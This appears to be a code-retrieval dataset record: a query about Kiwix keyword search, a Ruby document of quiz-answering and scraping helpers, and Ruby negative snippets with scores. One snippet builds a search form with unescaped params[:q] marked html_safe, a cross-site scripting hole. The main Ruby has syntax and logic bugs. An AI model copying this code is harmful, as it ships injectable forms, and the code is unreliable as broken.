= {}\n # w[:word] = word\n # r = words\n # r.delete(word)\n # w[:words] = r.join(\" \")\n # @words.append(w)\n # end\n # @w = params[:q][:title_or_body_or_tag_name_or_country_name_cont].split(/[\\p{blank}\\s]+/)\n end\n #application_controllerにset_searchを記述\n if params[:mode] == \"index\" || params[:mode] == nil\n if params[:order] == \"questions_new\"\n # @questions = @q.result(distinct: true).page(params[:page]).per(10).where(best_answer_id: nil).order(created_at: \"DESC\")\n @questions = @search.result.includes(:tag, :user).page(params[:page]).per(10).where(best_answer_id: nil).order(created_at: \"DESC\")\n elsif params[:order] == \"answers_desc\"\n # question = @q.result(distinct: true).where(best_answer_id: nil,).sort {|a,b| b.answers.size <=> a.answers.size}\n questions = @search.result.includes(:tag, :user).where(best_answer_id: nil).sort {|a,b| b.answers.size <=> a.answers.size}\n @questions = Kaminari.paginate_array(questions).page(params[:page]).per(10)\n \n elsif params[:order] == \"answers_asc\"\n # question = @q.result(distinct: true).where(best_answer_id: nil,).sort {|a,b| a.answers.size <=> b.answers.size}\n questions = @search.result.includes(:user,:tag, ).where(best_answer_id: nil).sort {|a,b| a.answers.size <=> b.answers.size}\n @questions = Kaminari.paginate_array(questions).page(params[:page]).per(10)\n elsif params[:order] == \"evaluations_desc\"\n # question = @q.result(distinct: true).where(best_answer_id: nil,).sort {|a,b| b.evaluations.size <=> a.evaluations.size}\n questions = @search.result.includes(:tag, :user).where(best_answer_id: nil).sort {|a,b| b.evaluations.size <=> a.evaluations.size}\n @questions = Kaminari.paginate_array(questions).page(params[:page]).per(10)\n else\n # @questions = @q.result(distinct: true).page(params[:page]).per(10).where(best_answer_id: nil).order(created_at: \"DESC\")\n @questions = @search.result.includes(:user,:tag).page(params[:page]).per(10).where(best_answer_id: nil).order(created_at: \"DESC\")\n end\n\n elsif params[:mode] == \"resolved_questions\"\n if params[:order] == \"questions_new\"\n @questions = @search.result.includes(:user,:tag).page(params[:page]).per(10).where.not(best_answer_id: nil).order(created_at: \"DESC\")\n elsif params[:order] == \"answers_desc\"\n questions = @search.result.includes(:user,:tag).where.not(best_answer_id: nil).sort {|a,b| b.answers.size <=> a.answers.size}\n @questions = Kaminari.paginate_array(questions).page(params[:page]).per(10)\n \n elsif params[:format] == \"answers_asc\"\n questions = @search.result.includes(:user,:tag).where.not(best_answer_id: nil).sort {|a,b| a.answers.size <=> b.answers.size}\n @questions = Kaminari.paginate_array(questions).page(params[:page]).per(10)\n elsif params[:format] == \"evaluations_desc\"\n questions = @search.result.includes(:user,:tag).where.not(best_answer_id: nil).sort {|a,b| b.evaluations.size <=> a.evaluations.size}\n @questions = Kaminari.paginate_array(questions).page(params[:page]).per(10)\n else\n @questions = @search.result.includes(:user,:tag).page(params[:page]).per(10).where.not(best_answer_id: nil).order(created_at: \"DESC\")\n end\n \n else\n if params[:order] == \"questions_new\"\n @questions = @search.result.includes(:user,:tag).page(params[:page]).per(10).all.order(created_at: \"DESC\")\n elsif params[:order] == \"answers_desc\"\n questions = @search.result.includes(:user,:tag).all.sort {|a,b| b.answers.size <=> a.answers.size}\n @questions = Kaminari.paginate_array(questions).page(params[:page]).per(10)\n \n elsif params[:order] == \"answers_asc\"\n questions = @search.result.includes(:user,:tag).all.sort {|a,b| a.answers.size <=> b.answers.size}\n @questions = Kaminari.paginate_array(questions).page(params[:page]).per(10)\n elsif params[:order] == \"evaluations_desc\"\n questions = @search.result.includes(:user,:tag).all.sort {|a,b| b.evaluations.size <=> a.evaluations.size}\n @questions = Kaminari.paginate_array(questions).page(params[:page]).per(10)\n else\n @questions = @search.result.includes(:user,:tag).page(params[:page]).per(10).all.order(created_at: \"DESC\")\n end\n end\n \n #検索をするとパラメータcountryの返り値が\"\"になるため\n if params[:country] && params[:country] != \"\"\n @questions = @questions.select do |q|\n q.country.name == params[:country]\n end\n @questions = Kaminari.paginate_array(@questions).page(params[:page]).per(10)\n end\n\n if params[:tag] && params[:tag] != \"\"\n @questions = @questions.select do |q|\n q.tag.name == params[:tag]\n end\n @questions = Kaminari.paginate_array(@questions).page(params[:page]).per(10)\n end\n\n end", "def answer(question)\n response = []\n begin\n\ttexto = QUERY_TEMPLATE.sub(/%command%/, question)\n\tprint texto \n\tquery = QueryFactory.create(texto)\n\t# qexec = SparqlDLExecutionFactory.create(query, storage.inferred)\n\tqexec = QueryExecutionFactory.create(query, storage.inferred); #qexec = QueryExecutionFactory.create(query, storage.model);\n results = qexec.execSelect\n response = parse_results(results)\n ensure\n qexec.close if qexec\n end\n response\n end", "def search_form\n %@<form accept-charset=\"UTF-8\" action=\"#{view_context.search_index_path}\" id=\"search\" method=\"get\">\n <div class='field'><input id=\"q\" name=\"q\" value=\"#{params[:q]}\" type=\"text\" class=\"textbox\" /></div></form>@.html_safe\n end", "def html\n return if self.text.blank?\n\n html = self.text\n \n # s = StringScanner.new(self.text)\n # html = ''\n # while markup = s.scan_until(/\\[code/) do\n # html += RedCloth.new(markup[0..-6]).to_html\n # s.pos= s.pos-5\n # code = s.scan_until(/\\[\\/code\\]/)\n # if code\n # code.gsub!(/\\[code\\]/, '[code lang=\"ruby\"]')\n # html += '<div class=\"syntax\">' + Syntaxi.new(code).process + '</div>' \n # else\n # break\n # end\n # end\n # html += RedCloth.new(s.rest).to_html\n \n html\n end", "def search_terms\n \"#vote #{poll_tag}\"\n end", "def search_content\n ''\n end", "def n_results\n output = {}\n answer_choices.each do |answer|\n output[answer.body] = answer.responses.count\n end\n output\n end", "def viewHtmlDocContent (queries = {} )\r\n closeHtmlDocWithTitle (queries ) \r\n end", "def get_search_results\n\t\twait_until_page_loads\n\t\t@se.find_elements(@locs[:results_item])\n\tend", "def search_result\n\t\t@questions = Question.search(params[:search]).for_index_set.page(params[:page]).per(10).order(:id)\n\tend", "def index\n @query = params[:query] || {\n search: '',\n }\n @theorems = Theorem.all.where(root: true).limit(50)\n @theorems = @theorems.order('views desc')\n @theorems = @theorems.where('text ILIKE ?', \"%#{@query[:search]}%\") if @query[:search] && @query[:search].length > 0\n respond_to do |f|\n f.html { render 'index' }\n f.json { render json: @theorems }\n end\n end", "def index\n ingredients = params[:ingredients]\n if params[:limit]\n searchlimit = params[:limit]\n else\n searchlimit = '10'\n end\n\n require 'nokogiri'\n require 'uri-handler'\n require 'open-uri'\n\n ingredients = ingredients.to_uri\n doc = Nokogiri::HTML(open(\"http://www.webtender.com/cgi-bin/search?name=&ingr=#{ingredients}&what=drink&show=#{searchlimit}&verbose=on\"))\n index = 0\n\n drinknames = []\n ings = []\n cocktails = Hash.new\n\n doc.css(\"td[width='90%']\").each do |node|\n # puts node.xpath('/a').text\n drinknames[index] = node.css('a').text\n ings = node.css(\"small\")[1].text\n\n ings.gsub!('Ingredients: ', '')\n ings = ings.split(', ')\n\n\n cocktails[drinknames[index]] = [ings]\n\n index += 1\n end\n\n respond_to do |format|\n format.json { render :json => cocktails }\n end\n end", "def get_base_rows(word, use_common_only)\n print_debug(\"Search for #{word} (#{use_common_only ? 'common words only' : 'include uncommon'})\")\n uri = \"http://classic.jisho.org/words\"\n lang = \"jap\" # assumed\n lang = \"eng\" if (word =~ /[A-Za-z]+/)\n params = { lang => word, \"dict\" => \"edict\" }\n params[\"common\"] = \"on\" if use_common_only\n uri = URI(uri)\n uri.query = URI.encode_www_form(params)\n res = Net::HTTP.get_response(uri)\n\n # Assume root form is the same as the given\n root = word.dup\n\n # If a conjugated form is passed in, jisho redirects.\n if (res.is_a?(Net::HTTPRedirection))\n match = res.body.match(/href=\"(.*?)\"/i)\n url = match.captures[0]\n print_debug(\"Redirecting to #{url}\")\n res = Net::HTTP.get_response(URI(url))\n end\n\n data = res.body.force_encoding(\"UTF-8\") if res.is_a?(Net::HTTPSuccess)\n data ||= \"\"\n data.gsub!(\"\\t\", \"\")\n\n # If jisho redirects, the resulting page says \"couldn't find that,\n # found this instead.\"\n matchword = word.dup.force_encoding(\"UTF-8\").strip\n if match = data.match(/\\<span class=\"instead\"\\>(.*?)\\<\\/span\\>/i)\n matchword = match.captures[0]\n root = matchword.dup\n print_debug(\"Word root form: #{root}\")\n end\n\n # Sometimes jisho finds de-inflected words, says \"search in plain\n # form.\"\n if match = data.match(/Search for this in plain form:.*?\\<a.*?\\>(.*?)\\<\\/a\\>/i)\n matchword = match.captures[0]\n root = matchword.dup\n print_debug(\"Plain root form: #{root}\")\n end\n \n # Extract [word, reading, def'n] tuples that match root.\n rows =\n data.\n scan(/<td class=\"kanji_column\">.*?<\\/td>.*?<\\/td>.*?<\\/td>/m).\n map { |row| row.scan(/<td.*?>.*?<\\/td>/m) }.\n map do |row|\n row.map { |el| el.gsub(/<.*?>/m, '').strip.gsub(/ +/, ' ') }\n end\n print_debug(\"Initial matches:\\n\" + rows.to_s)\n \n # In some cases, jisho doesn't output anything in the \"word\"\n # column, e.g. for a hiragana-only search string.\n rows.map! { |a, b, c| [(a == '' ? b : a), b, c] }\n\n # Get words where the kanji field matches the root, or where the\n # original word passed in matches the reading (can happen when\n # hiragana word is sought which also has a kanji spelling).\n rows.select! do |a, b, c|\n rfe = root.force_encoding(\"UTF-8\").strip\n bfe = b.force_encoding(\"UTF-8\").strip\n root_match = [a.strip, bfe].include?(rfe)\n pronounce_match = (word == bfe)\n definition_match = (c =~ /#{word}/i)\n root_match || pronounce_match || definition_match\n end\n\n rows.map! do |a, b, c|\n culled = c.\n split(/\\d+/).\n map { |el| el.strip }.\n select { |el| el != \"\" }.\n map { |el| el.gsub(/^: /, '') }.\n map { |el| el.gsub(/;$/, '') }.\n map { |el| el.gsub(';', ',') }\n [a, b, culled[0..2].join(\"; \")]\n end\n rows\n end", "def prepared_results\n prepared = []\n results = WatirNokogiri::Document.new(html).lis(Selectors::FAST_SEARCH_MODAL[:result][:self])\n\n results.each { |result| prepared[] = { title: title(result), price: price(result) } }\n\n prepared\n end", "def get_titles()\n $result = ''\n while $i < 3 do\n result+= @driver.find_element(:xpath => '//*[@id=\"layout\"]/div[2]/div[2]/div/div/div/section['+ $i +']/job-tile-responsive/div[1]/div[1]/h4/a').text\n end\n return result\n end" ]
[ "0.6179074", "0.59999126", "0.59540224", "0.58022946", "0.5747085", "0.5736522", "0.5724279", "0.56304294", "0.5622335", "0.5519854", "0.5513782", "0.5509408", "0.5470092", "0.5463009", "0.5447612", "0.5445428", "0.5422556", "0.5419947", "0.5419365", "0.5395516", "0.5390178", "0.53848404", "0.5384716", "0.53775764", "0.5377151", "0.53685564", "0.5367854", "0.53525645", "0.5341053", "0.53360236", "0.5327721", "0.5325599", "0.5323947", "0.5323947", "0.53152376", "0.53124225", "0.5310954", "0.5305859", "0.529609", "0.52950215", "0.52950215", "0.5288575", "0.5285223", "0.5281491", "0.52711135", "0.52707064", "0.52600205", "0.52565217", "0.5237682", "0.5231004", "0.5230137", "0.5219579", "0.52194166", "0.5208458", "0.52026254", "0.51995635", "0.5196102", "0.51770973", "0.5175954", "0.51582336", "0.5154427", "0.515309", "0.51509625", "0.51497734", "0.51443386", "0.5142801", "0.5142033", "0.51409024", "0.5139907", "0.51388335", "0.513806", "0.51327276", "0.5131602", "0.5130681", "0.5130199", "0.512903", "0.5127713", "0.5123537", "0.51203537", "0.5116231", "0.5115077", "0.51130265", "0.51061577", "0.5101919", "0.5099971", "0.50993687", "0.50970197", "0.5096203", "0.5094933", "0.5094452", "0.5093028", "0.5092652", "0.5090746", "0.5090693", "0.5083697", "0.5082374", "0.50809544", "0.507639", "0.50727093", "0.5056295" ]
0.62700886
0
returns html of keywords kiwix search
def kiwixKeywordSearch(question, acc) if acc[-1] == '2' puts 'end with 2' if acc.length == 2 acc = acc[0..-2] puts acc term = question.scan(/\b#{acc[0]}\w*/)[1] else acc = acc[0..-2] puts acc term = question.scan(/\b#{acc[0]}\w*\s#{acc[1]}\w*/)[1] end elsif acc[-1] == '3' if acc.length == 2 acc = acc[0..-2] puts acc term = question.scan(/\b#{acc[0]}\w*/)[2] else acc = acc[0..-2] puts acc term = question.scan(/\b#{acc[0]}\w*\s#{acc[1]}\w*/)[2] end elsif acc.length == 1 term = question[/\b#{acc[0]}\w*/] elsif acc.length == 2 term = question[/\b#{acc[0]}\w*\s#{acc[1]}\w*/] elsif acc.length == 3 term = question[/\b#{acc[0]}\w*\s#{acc[1]}\w*\s#{acc[2]}\w*/] elsif acc.length == 4 term = question[/\b#{acc[0]}\w*\s#{acc[1]}\w*\s#{acc[2]}\w*\s#{acc[3]}\w*/] elsif acc.length == 5 term = question[/\b#{acc[0]}\w*\s#{acc[1]}\w*\s#{acc[2]}\w*\s#{acc[3]}\w*\s#{acc[0]}\w*/] elsif acc.length == 6 term = question[/\b#{acc[0]}\w*\s#{acc[1]}\w*\s#{acc[2]}\w*\s#{acc[3]}\w*\s#{acc[0]}\w*\s#{acc[0]}\w*/] else term = question[/\b#{acc[0]}\w*\s#{acc[1]}\w*\s#{acc[2]}\w*\s#{acc[3]}\w*\s#{acc[0]}\w*\s#{acc[0]}\w*\s#{acc[0]}\w*/] end print "term = " + term.to_s + "\n\n" begin address ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(term) + '.html' rescue puts "address encoding error" #---------------------------To be removed? html = HTTParty.get(address) #puts html +"\n\n\n" return html end # puts a colour aided wikipedia article to screen, with pnum the number of the paragraph def paras(text, q, aA, aB, aC, aD, pnum = 0) common_words = ["the", "be", "of", "and", "a", "is", "to", "in", "he", "have", "it", "that", "for", "they", "I", "with", "as", "not", "on", "she", "at", "by", "this", "we", "you", "do", "but", "from", "or", "which", "one", "would", "all", "will", "there", "say", "who", "make", "when", "can", "more", "if", "no", "man", "out", "other", "so", "what", "time", "up", "go", "about", "than", "into", "could", "only", "these", "come", "these", "some", "then", "any"] #, "state", "only", "new", "year", "some", "take", "come", "these", "know", "see", "use", "get", "like", "then", "first", "any", "work", "now", "may", "such", "give", "over", "think", "most", "even", "find", "day", "also", "after", "way", "many", "must", "look", "before", "great", "back", "through", "long", "where", "much", "should", "well", "people", "down", "own", "just", "because", "good", "each", "those", "feel", "seem", "how", "high", "too", "place", "little", "world", "very", "still", "nation", "hand", "old", "life", "tell", "write", "become", "here", "show", "house", "both"] numberWords = ["one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten", "eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen", "twenty", "thirty", "forty", "fifty", "sixty", "seventy", "eighty", "ninety", "hundred", "thousand", "million", "billion", "trillion"] numberWords = Regexp.union(numberWords) aWords = [] aWords << aA << aB << aC << aD qWords = q.split(" ") allWords = aWords + qWords text = text.scan(/(\<p\>)(.*?)(\<\/p\>)/m).map(&:join)[pnum] writtenNumbers = [] puts "allWords = " + allWords.to_s text.gsub!(/<\/?[^>]*>/,"") text.gsub!(/(&#160;)/,"") text.gsub!(/(\[\d+\])/,"") writtenNumbers = text.downcase.scan(/\b#{numberWords}(?:(?:\s+and\s+|\s+)#{numberWords})*\b/i) writtenNumbers.concat text.scan(/\b[\d\.*,*]+\b/) puts "writtenNumbers = " + writtenNumbers.to_s aWords.each do |i| i2 = i.gsub(/(\?|\.|\,|\!)/,"") if common_words.include?(i2) == false text.gsub!(/\b#{i2}\b/i, orange(i2)) end end qWords.each do |i| i2 = i.gsub(/(\?|\.|\,|\!)/,"") if common_words.include?(i2) == false text.gsub!(/\b#{i2}\b/i, pink(i2)) end end writtenNumbers.each do |wnum| if wnum.numberize != 0 puts "wnum = " + wnum.numberize.to_s end allWords.each do |qora| if qora.numberize != 0 puts "qora = " + qora.numberize.to_s end if wnum.numberize < qora.numberize * 1.05 and wnum.numberize > qora.numberize * 0.95 text.gsub!(/\b#{wnum.to_s}\b/i, blue(wnum.to_s)) end end end return text end #returns list of uris from a google search def googleSearch(q, n = 5) search = Google::Search::Web.new do |search| search.query = q search.size = :small end begin uris = search.first(n).map(&:uri) rescue "uri fault" end return uris end #iterably counts number of hits of each answer in a list of uris def hitCount(uris, aA, aB, aC, aD) hitCountStart = Time.now aAll = [] aAll << aA << aB << aC << aD countA = 0 countB = 0 countC = 0 countD = 0 aA = aA.downcase aB = aB.downcase aC = aC.downcase aD = aD.downcase aTotal = [] bTotal = [] cTotal = [] dTotal = [] plaintexts=[] n = uris.size n.times {|i| if Time.now - hitCountStart < 8 begin begin doc = Nokogiri::HTML(open(uris[i])) doc.css('script, link').each { |node| node.remove } plaintexts << doc.css('body').text.downcase.split("\n"). collect { |line| line.strip }.join("\n") rescue puts "Nokogiri could not read" end #rescue # "Nokogiri fault" plaintexts[i].each_line { |bar| begin countA += bar.scan(/\b#{aA}\b/i).size rescue end begin countB += bar.scan(/\b#{aB}\b/i).size rescue end begin countC += bar.scan(/\b#{aC}\b/i).size rescue end begin countD += bar.scan(/\b#{aD}\b/i).size rescue end } puts "A = " + countA.to_s + " B = " + countB.to_s + " C = " + countC.to_s + " D = " + countD.to_s end end } end def definitionAnswers(aA, aB, aC, aD) aAll = [] aAll << aA << aB << aC << aD aAll.each do |answer| if Dictionary.key?(answer) puts "\n" + answer + ": " + Dictionary[answer] +"\n\n" else puts "\n" + answer + ' not found' +"\n\n" end end end def dots(q, aA, aB, aC, aD) dotA = q.sub(/\.\.\./," " + aA)[/(‘|').*?(‘|')/][1..-2] dotB = q.sub(/\.\.\./," " + aB)[/(‘|').*?(‘|')/][1..-2] dotC = q.sub(/\.\.\./," " + aC)[/(‘|').*?(‘|')/][1..-2] dotD = q.sub(/\.\.\./," " + aD)[/(‘|').*?(‘|')/][1..-2] address1 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotA) + '.html' address2 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotB) + '.html' address3 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotC) + '.html' address4 ='http://127.0.0.1:8000/wikipedia_en_all_nopic_01_2012/A/' + URI::encode(dotD) + '.html' htmls = [] htmls << HTTParty.get(address1) << HTTParty.get(address2) << HTTParty.get(address3) << HTTParty.get(address4) return htmls end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def keywords(page_keywords) \n content_for(:keywords){\"<meta name=\\\"keywords\\\" content=\\\"#{page_keywords}\\\" />\\n\"} \n end", "def keywords\n my_nodes_tagged(:querykeywordexpr)\n end", "def keywords\n my_nodes_tagged(:querykeywordexpr)\n end", "def get_keywords(site)\n response = Net::HTTP.get_response(site, \"/\")\n Hpricot(response.body).\n search(\"meta[@name='keywords']\")[0]. #Select meta keywords element\n attributes[\"content\"]. #Select its content\n split(\",\"). #Keywords are coma separated\n collect{ |k| k.strip.downcase } #Remove start and end white spaces\nend", "def kitties_search( q )\r\n \"https://www.cryptokitties.co/search?include=sale,sire,other&search=#{q}\"\r\nend", "def keywords(page_keywords)\n content_for(:keywords) do\n \"<meta name=\\\"keywords\\\" content=\\\"#{page_keywords}\\\" />\\n\"\n end\n end", "def keywords(page_keywords)\n content_for(:keywords) do\n \"<meta name=\\\"keywords\\\" content=\\\"#{page_keywords}\\\" />\\n\"\n end\n end", "def keywords\n plot_keywords.css(\"a[href^='/keyword/']\").map { |keyword| keyword.text.strip } rescue []\n end", "def the_keywords\n k = object.get_option(\"keywords\", \"\")\n k = h.current_site.the_keywords if object.class.name != \"CamaleonCms::Site\" && !k.present?\n k.to_s.translate(get_locale)\n end", "def medley_search\n\t\t@keywords = params[:keywords].downcase.gsub(/[^a-z\\s]/, '')\n\t\t@keywords_array = @keywords.strip.split(/\\s+/)\n\t\t@formatted_search = ''\n\t\t@keywords_array.each do |keyword|\n\t\t\t@formatted_search = @formatted_search + keyword.to_s + '|'\n\t\tend\n\t\t@formatted_search = @formatted_search.chop\n\t\t@medleys = Medley.advanced_search(@formatted_search).order('votes DESC').joins(:user).limit(15)\n\t\t@medleys = medley_extra_formatter(@medleys)\n\t\t# Build Custom Item URLs Here...\n\tend", "def get_keywords( descriptions )\n keywords = []\n descriptions.each do |description|\n page_text = Nokogiri::HTML(description).text\n keywords.concat( page_text.split(/\\W+/) )\n end\n\n return keywords\nend", "def keyword_query_string\n processed_terms = []\n self.search_terms.each do |search_val|\n # spaces or dashes (-) need to be quoted to be treated as single values\n term = search_val.match?(/[\\s-]/) ? \"\\\"#{search_val}\\\"\" : search_val\n processed_terms << term\n end\n processed_terms.join(' ')\n end", "def show_keywords_600\n @kw600_keys.each{|key|\t# Iterate thru tags in the same order we read them\n # For this instance (parent ID) of this tag...\n values = @kw600[key]\n pid, tag = key\n\n # Process all tags\n s = values.join(', ').gsub(/, \\(/, \" (\")\n unless @kw_list.include?(s) || s == \"\"\n @kw_list << s\n dbug_s = DEBUG_KEYWORDS ? \"#{tag}:\" : \"\"\n puts \" <meta tagcode=\\\"keywords.fixed1\\\">#{dbug_s}#{s}</meta>\"\n end\n }\n end", "def keyword\n\n @search_text = params[\"search_text\"] ||= \"\"\n\n add_breadcrumb \"Keyword Search: '#{@search_text}'\"\n\n if @search_text.blank? or @search_text.length < 2\n @keyword_search_results = KeywordSearchIndex.where(\"1 = 2\")\n else\n\n # here we build the query one clause at a time based on the input params. The query\n # is of the form:\n #\n # where organization_id IN (?) AND (search_text LIKE ? OR search_text_like ? OR ... )\n\n where_clause = 'organization_id IN (?) AND ('\n values = []\n # The organization is scoped to search across all objects that are owned by\n # the user's list of organizations\n orgs = @organization_list.dup\n # add org = 0 to get objects that are not indexed by org and are by\n # contract available to users of all organizations\n orgs << 0\n values << orgs\n\n search_params = []\n @search_text.split(\",\").each_with_index do |search_string|\n search_params << 'search_text LIKE ?'\n values << \"%#{search_string.strip}%\"\n end\n\n where_clause << search_params.join(' OR ')\n where_clause << ')'\n\n @keyword_search_results = KeywordSearchIndex.where(where_clause, *values)\n\n end\n\n @num_rows = @keyword_search_results.count\n cache_list(@keyword_search_results, INDEX_KEY_LIST_VAR)\n\n respond_to do |format|\n format.html\n format.json {\n render :json => {\n :total => @num_rows,\n :rows => data\n }\n }\n end\n\n end", "def keywords\n response = request :keywords\n keywords = Hash.new\n response[\"labels\"].each do |label|\n keywords[label[\"keyword\"]] = label[\"content\"]\n end\n keywords\n end", "def search_keywords\n @categories = params[:categories]\n @project_id = params[:project_id]\n if @categories.present?\n categories_array = @categories.split(/,/)\n categories_array.map! { |x| x.strip }\n categories_array.reject! { |x| x.blank? }\n categories_array.uniq!\n else\n categories_array = []\n end\n @search_keyword = params[\"search\"]\n if(!@search_keyword.blank?)\n @search_keyword = @search_keyword.strip\n @search_keyword = @search_keyword.split(\" \").join(\" \")\n end\n @similar_keywords =\n Keyword.get_similar_keywords(@search_keyword, categories_array)\n @categories = categories_array.join(\", \")\n end", "def show\n @keywords = @report.keywords\n end", "def keywords\n xml.css('keyword').map{|c| Allorails::Keyword.new(c)}\n end", "def get_keywords(query_obj=nil)\n uri = URI.parse(@uri + \"/Keywords\")\n results = get(uri,query_obj)\n end", "def search\n unless params[:search].blank?\n @search = Sunspot.search(KyuEntry) do\n fulltext params[:search]\n end\n @kyu = @search.results\n end\n end", "def get_keywords(input_text, relevance)\n\tkeywords = Keyword.extract(input_text)\n\trelevant_words = keywords.select {|w| w[\"text\"] if w[\"relevance\"].to_f > relevance }\n\treturn relevant_words.map{|w| w[\"text\"]}\nend", "def search_keywords\n @developer_id = Developer.find_by_gamer_id(current_gamer.id).id\n @projects = Project.where(owner_id: @developer_id).all\n @project_id = params[:project_id]\n @search_keyword = params[\"search\"]\n if(!@search_keyword.blank?)\n @search_keyword = @search_keyword.strip\n @search_keyword = @search_keyword.split(\" \").join(\" \")\n if Keyword.find_by_name(@search_keyword)\n redirect_to search_path, search: @search_keyword\n end\n @similar_keywords =\n Keyword.get_similar_keywords(@search_keyword, [])\n end\n end", "def list_keywords\n @entry = Entry.find(params[:id])\n @keywords = @entry.keywords\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @keywords }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def keywords\n attr = [status, name, title_search, subject_list]\n attr.join(' ')\n end", "def show\n @keywords = Keyword.all\n end", "def index\n @keywords = Keyword.all\n end", "def index\n @keywords = Keyword.all\n end", "def index\n @keywords = Keyword.all\n end", "def index\n @keywords = Keyword.all\n end", "def index\n @keywords = Keyword.all\n end", "def index\n @keywords = Keyword.all\n end", "def index\n @keywords = Keyword.all\n end", "def keywords\n\t\t\treturn @data['keywords']\n\t\tend", "def search\n @search = Sunspot.search(Job) do\n keywords(params[:searchterm])\n end\n end", "def search(wd)\n\tpage = Query::Engine::Baidu.query(wd)\n\t#page.seo_rank #it seems that the seo_rank of baidu is not complete crawled the search page\n\trelated_keywords_baidu = page.related_keywords \n\trelated_keywords_baidu.each do |keywords| # save each keywords into database unless the word is exist already.\n\t\tnext unless RelateWorld.find_by_keyword(keywords) == nil\n\t\trelate = RelateWorld.new\n\t\trelate.keyword = keywords\n\t\trelate.save\n\tend \nend", "def search\n expose Challenge.search(@oauth_token, params[:keyword])\n end", "def keywords\n [self.keyword]\n end", "def index_by_keyword\n entries = Entry.all\n @selected_entries = Array.new\n @keyword = params[:keyword]\n entries.each do |entry|\n if /#{@keyword}/.match(entry.content) ||\n /#{@keyword}/.match(entry.tags) ||\n /#{@keyword}/.match(entry.title)\n @selected_entries << entry\n end\n end\n logger.debug \"hello\"\n end", "def _search_text\n [_concatenated_brand,\n _concatenated_description,\n _concatenated_sell_unit,\n classic_mbid\n ].compact.map { |w| w.hanize.split(' ') }.flatten.uniq.reject { |w| w.size < 3 || self.class.stop_words.include?(w) }.join(' ')\nend", "def scraper2(keyword)\n url = \"https://www.lazada.vn/catalog/?q=#{keyword}&_keyori=ss&from=input&spm=a2o4n.home.search.go.1905e1822eN5XO\"\n html_file = open(url).read\n html_doc = Nokogiri::HTML(html_file)\n keywords = []\n\n html_doc.search('.c3KeDq').search('.c16H9d a').each do |element|\n element.text.strip\n element.attribute('title').value.map { |word| word.include?(keywords) ? keywords.to_f/2 : word }\n end\n\n #more deep class selection\n html_doc.search('.c5TXIP').search('.c3KeDq').search('.c16H9d a').each do |element|\n element.text.strip\n element.attribute('title').value.map { |word| word.include?(keywords) ? keywords.to_f/2 : word }\n end\n\n\n\n end", "def get(keyword)\n # Create URL to Yandex.Xml\n xml_url = create_url(keyword)\n # Get data XML\n xml = Net::HTTP.get_response(URI.parse(xml_url)).body\n # Convert XML to Hash\n converter = Nori.new(:convert_dashes_to_underscores => true)\n hash = converter.parse(xml)\n # Convert Hash to OpenStruct\n data = JSON.parse(hash.to_json, object_class: OpenStruct)\n # Create short route to data\n groups = data.yandexsearch.response.results.grouping.group\n\n result = {}\n\n result[:meta] = {\n keyword: data.yandexsearch.request.query,\n timestamp: Time.now\n }\n\n data_array = []\n\n groups.each_with_index do |i, index|\n result_hash = {\n position: index + 1,\n url: i.doc.url,\n domain: i.doc.domain,\n title: i.doc.title,\n modtime: i.doc.modtime,\n size: i.doc.size,\n charset: i.doc.charset,\n # passage: i.doc.passages.passage, # TODO: not work\n passages_type: i.doc.properties._PassagesType,\n mime_type: i.doc.mime_type,\n saved_copy_url: i.doc.saved_copy_url,\n headline: i.doc.headline,\n turbo_cgi_url: i.doc.properties.TurboCgiUrl,\n turbo_fallback: i.doc.properties.TurboFallback,\n turbo_link: i.doc.properties.TurboLink\n }\n\n data_array << result_hash\n end\n\n result[:data] = data_array\n result\n end", "def index\n @search = Keyword.search(params[:search])\n @keywords = @search.paginate(:page => params[:page], :per_page => GlobalSettings.per_page).order('id DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keywords }\n end\n end", "def keyword_autocomplete\n search_keyword = params[\"search\"]\n similar_keywords =\n Keyword.get_similar_keywords(search_keyword, [])\n similar_keywords.map! { |keyword| keyword.name }\n render json: similar_keywords\n end", "def render_keywords(tags)\n keywords = TextNormalizer.normalize_keywords(meta_tags.extract(:keywords))\n normalized_meta_tags[:keywords] = keywords\n tags << Tag.new(:meta, :name => :keywords, :content => keywords) if keywords.present?\n end", "def index\n #Search function defined privately below; params[:search] from search_form in index.html.erb\n key_search(params[:search])\n end", "def get_keywords_for_text(retina_name, body)\n resource_path = '/text/keywords'\n verb = 'POST'\n query_params = { 'retina_name' => retina_name }\n post_data = body\n headers = {'Accept' => 'Application/json', 'Content-Type' => 'application/json'}\n\n response = @api_client.call_api(resource_path, verb, query_params,post_data, headers)\n\n JSON.parse(response.body, symbolize_names: true)\n end", "def search_for(keywords, options = {})\n solr_server.find(keywords, options.merge(:results => PublicEarth::Search::CollectionResults))\n end", "def html\n _search_parts_keys(/html/i)\n end", "def kw_element_txt(element)\r\n REXML::XPath.match(\r\n REXML::Document.new( REXML::XPath.first(self.xml, \"keywords\").text ),\r\n \"//#{element}\").first.text \r\n end", "def search_wikipedia\n respond_to do |format|\n format.html do\n @wikipedia_search_text = params[:artist_name]\n meta = MetaGeneration.new(Setting.get_settings)\n @wikipedia_search = meta.search_text(@wikipedia_search_text, 10)\n render 'search_wikipedia.html', layout: false\n end\n end\n end", "def index\n @keywords = Keyword.order('title')\n \n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @keywords.to_xml }\n end\n end", "def search_content\n ''\n end", "def keywords\n get_keywords.flatten.uniq\n end", "def search(terms)\n agent = Mechanize.new\n agent.get 'http://kattorrents.me/'\n search_form = agent.page.form_with(id:'searchform')\n search_form.q = terms\n search_form.submit\n parse_html(agent.page)\n end", "def search(search_string)\n\n # Convert to a get-paramenter\n search_string = CGI.escapeHTML search_string\n search_string.gsub!(\" \", \"&nbsp;\")\n\n results = []\n \n return results\n end", "def keywords\n return nil unless @doc.keywords\n \n keywords = @doc.keywords[0..(NUM_KEYWORDS-1)].join(\", \")\n 